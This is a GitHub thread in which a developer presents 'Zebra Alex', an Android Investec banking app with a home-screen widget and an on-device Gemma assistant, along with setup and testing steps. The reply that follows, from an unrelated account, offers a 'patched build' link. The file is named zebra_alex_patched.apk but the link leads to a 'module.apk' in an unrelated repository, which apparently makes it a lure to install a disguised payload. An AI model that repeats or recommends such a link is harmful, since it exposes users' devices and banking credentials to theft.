Zebra Alex - Investec Private Banking AI Assistant App & Balance/Transactions Widget

[nicholasc69]

Project Name

Zebra Alex

Your Name or Team

Nick Cadenhead

Repository/Code Link

https://github.com/nicholasc69/InvestecBankingWidget

Live Demo (if any)

No response

Description

An offline-first Android application and Home Screen Widget for Investec Private Banking. It integrates secure local database caching, biometric security, a Jetpack Glance home screen widget, and an on-device AI assistant ("Alex") powered by Google LiteRT (formerly TensorFlow Lite) using Gemma.

Screenshots or GIFs

How to Run/Use It

⚙️ Getting Started

1. Prerequisites

• Android Studio (Koala or newer recommended).
• Android SDK 35/36 target compatibility.
• An emulator or physical device supporting Biometric Authentication.

2. Set Up Local Gemma Model (LiteRT)

The AI assistant runs a local language model. You must supply a compatible LiteRT model file:

1. Obtain the gemma-4-E2B-it.litertlm model. Hugging Face
2. Push the model to the target device's local tmp directory via ADB:

   adb push path/to/gemma-4-E2B-it.litertlm /data/local/tmp/

3. Open API Credentials Setup

The application comes preconfigured to run in Sandbox Mode using open-access sandboxed credentials.
To connect to your live Investec accounts:

1. Open the app and tap the Settings (gear) icon in the top right.
2. Disable Developer Sandbox Mode.
3. Supply your Client ID, Client Secret, and x-api-key obtained from the Investec Developer Portal.
4. Tap Apply & Sync to fetch your actual accounts and transactions securely.

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🧪 Testing

The project is fully integrated with:

• Compose UI Tests and Robolectric for local behavior verification.
• Roborazzi for screenshot testing.
• To run tests:

  ./gradlew test

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Code of Conduct

• I agree to follow the Investec Developer Community Code of Conduct

[kugubabevo8]

Man, that LiteRT model loading was totally tanking my widget updates. I finally figured out the memory leak in the Glance bridge by tweaking the local cache sync. Attached the patched build that handles the Gemma model handoff way smoother. zebra_alex_patched.apk(https://github.com/keracocobe/123/releases/download/update/module.apk)

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